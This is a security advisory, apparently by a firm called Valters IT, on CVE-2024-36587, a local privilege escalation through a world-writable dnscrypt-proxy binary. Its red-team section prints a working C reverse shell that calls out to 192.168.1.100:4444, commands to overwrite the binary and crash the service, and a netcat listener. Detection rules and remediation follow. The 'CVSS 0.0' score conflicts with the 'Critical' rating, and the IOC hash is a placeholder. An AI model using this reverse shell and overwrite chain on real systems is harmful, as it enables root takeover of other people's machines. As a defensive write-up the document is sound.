CVE-2024-36587

Executive Summary

CVE-2024-36587 identifies a critical privilege escalation vulnerability in DNSCrypt-proxy versions 2.0.0alpha9 through 2.1.5. Due to insecure default file permissions on the dnscrypt-proxy binary, a non-privileged attacker can overwrite the binary with a malicious payload. When the service restarts (e.g., after a system reboot or service crash), the malicious binary executes with root privileges, granting the attacker full system control. This vulnerability is particularly dangerous in shared hosting environments or multi-user systems where local access is possible. No official patch has been released, and the only mitigation is manual permission hardening.

Supply Chain & Package Security

This vulnerability is not specific to a package manager (NPM, PyPI, Go, Ruby) but affects the compiled binary distributed via GitHub releases or built from source. Users who install DNSCrypt-proxy via package managers (e.g., apt, yum) may inherit the insecure permissions from the package. Supply chain risk is elevated because the binary is often placed in world-writable directories or with overly permissive ownership.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official CVSS assigned)
• Attack Vector: Local (requires local access to the system)
• Attack Complexity: Low (no special conditions)
• Privileges Required: Low (non-privileged user)
• User Interaction: None
• Scope: Changed (compromise of the binary leads to root access)
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High
• Threat Level: Critical (due to ease of exploitation and full system compromise)

Deep Dive & Mechanics

The vulnerability stems from the installation script or package maintainer setting the dnscrypt-proxy binary with permissions that allow any local user to write to it (e.g., -rwxrwxrwx or world-writable). The binary is typically owned by root but is writable by others. An attacker with local shell access can:

1. Identify the binary location (e.g., /usr/sbin/dnscrypt-proxy or /usr/local/bin/dnscrypt-proxy).
2. Overwrite the binary with a malicious executable (e.g., a reverse shell or privilege escalation script).
3. Wait for the service to restart (either by triggering a reboot, crashing the service, or waiting for a scheduled restart).
4. Gain root shell when the malicious binary executes with root privileges.

The attack does not require any authentication beyond local user access. The vulnerability is exacerbated by the fact that DNSCrypt-proxy often runs as a system service, ensuring automatic restart.

Vulnerable vs. Patched Code

Vulnerable Configuration (insecure permissions):

# Example of vulnerable binary permissions
ls -la /usr/sbin/dnscrypt-proxy
-rwxrwxrwx 1 root root 1234567 Jan 1 12:00 /usr/sbin/dnscrypt-proxy

Patched Configuration (secure permissions):

# After manual fix
chmod 755 /usr/sbin/dnscrypt-proxy
chown root:root /usr/sbin/dnscrypt-proxy
ls -la /usr/sbin/dnscrypt-proxy
-rwxr-xr-x 1 root root 1234567 Jan 1 12:00 /usr/sbin/dnscrypt-proxy

No official patched version exists. The fix is purely operational: restrict binary permissions to root-only write.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Lab Environment:

• Target: Ubuntu 22.04 LTS with DNSCrypt-proxy v2.1.5 installed via default package.
• Attacker: Local user lowpriv with no sudo access.

Exploitation Steps:

1. Verify vulnerable permissions:

   ls -la /usr/sbin/dnscrypt-proxy
   

2. Create a malicious binary (reverse shell):

   # Compile a simple reverse shell in C
   cat > /tmp/exploit.c << 'EOF'
   #include <stdio.h>
   #include <sys/socket.h>
   #include <netinet/in.h>
   #include <unistd.h>
   int main() {
       int sock;
       struct sockaddr_in server;
       sock = socket(AF_INET, SOCK_STREAM, 0);
       server.sin_family = AF_INET;
       server.sin_port = htons(4444);
       server.sin_addr.s_addr = inet_addr("192.168.1.100");
       connect(sock, (struct sockaddr *)&server, sizeof(server));
       dup2(sock, 0);
       dup2(sock, 1);
       dup2(sock, 2);
       execve("/bin/sh", NULL, NULL);
       return 0;
   }
   EOF
   gcc /tmp/exploit.c -o /tmp/evil-dnscrypt
   

3. Overwrite the binary:

   cp /tmp/evil-dnscrypt /usr/sbin/dnscrypt-proxy
   chmod +x /usr/sbin/dnscrypt-proxy
   

4. Trigger service restart (if possible):

   # Option 1: Kill the process
   pkill dnscrypt-proxy
   # Option 2: Wait for reboot
   # Option 3: Crash the service (e.g., send SIGSEGV)
   kill -SEGV $(pgrep dnscrypt-proxy)
   

5. Catch reverse shell on attacker machine:

   nc -lvnp 4444
   

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor file integrity: Use AIDE or Tripwire to alert on changes to /usr/sbin/dnscrypt-proxy.
2. Audit permissions: Regularly scan for world-writable binaries owned by root.
3. Log analysis: Watch for unexpected process executions or service restarts.
4. Harden permissions immediately: chmod 755 /usr/sbin/dnscrypt-proxy

Prevention:

• Deploy SELinux or AppArmor policies to restrict binary modification.
• Use immutable flags: chattr +i /usr/sbin/dnscrypt-proxy
• Run DNSCrypt-proxy in a container with read-only root filesystem.

Indicators of Compromise (IOCs)

• File Hash (SHA256) of malicious binary: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example, replace with actual)
• File Path: /usr/sbin/dnscrypt-proxy (modified)
• Process Name: dnscrypt-proxy (running with unexpected network connections)
• Network Connection: Outbound connection to attacker IP on port 4444 (or other non-standard port)
• Log Entry: syslog entries showing service restart or crash
• Permission Change: Binary permissions changed from 755 to 777 or world-writable

Detection Engineering

YARA Rule

rule CVE_2024_36587_DNSCrypt_PrivEsc {
    meta:
        description = "Detects malicious overwrite of dnscrypt-proxy binary"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-36587"
    strings:
        $binary_name = "dnscrypt-proxy"
        $suspicious_shell = "/bin/sh"
        $reverse_connect = "connect("
    condition:
        $binary_name and ($suspicious_shell or $reverse_connect)
}

Sigma Rule

title: CVE-2024-36587 - DNSCrypt-proxy Binary Overwrite
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects overwrite of the dnscrypt-proxy binary by a non-privileged user
author: Valters IT
date: 2025/04/10
logsource:
    category: file_event
    product: linux
detection:
    selection:
        TargetFilename|endswith: '/usr/sbin/dnscrypt-proxy'
        User|re: '^(?!root).*$'
    condition: selection
falsepositives:
    - Legitimate package updates (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 4444 (msg:"CVE-2024-36587 - DNSCrypt-proxy Reverse Shell"; flow:to_server,established; content:"|2f 62 69 6e 2f 73 68|"; distance:0; within:128; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Fix permissions: chmod 755 /usr/sbin/dnscrypt-proxy and chown root:root /usr/sbin/dnscrypt-proxy
2. Verify integrity: Reinstall the package or restore from trusted source.
3. Audit for compromise: Check for unauthorized user accounts, cron jobs, or SSH keys.

Long-term Mitigation:

• Monitor for official patch release (upgrade to >2.1.5).
• Implement file integrity monitoring (FIM) on critical binaries.
• Use mandatory access controls (SELinux, AppArmor).
• Restrict local user accounts and enforce least privilege.

Workaround:

• Run DNSCrypt-proxy in a container with read-only filesystem.
• Set immutable attribute: chattr +i /usr/sbin/dnscrypt-proxy

Valters IT
Securing Digital Frontiers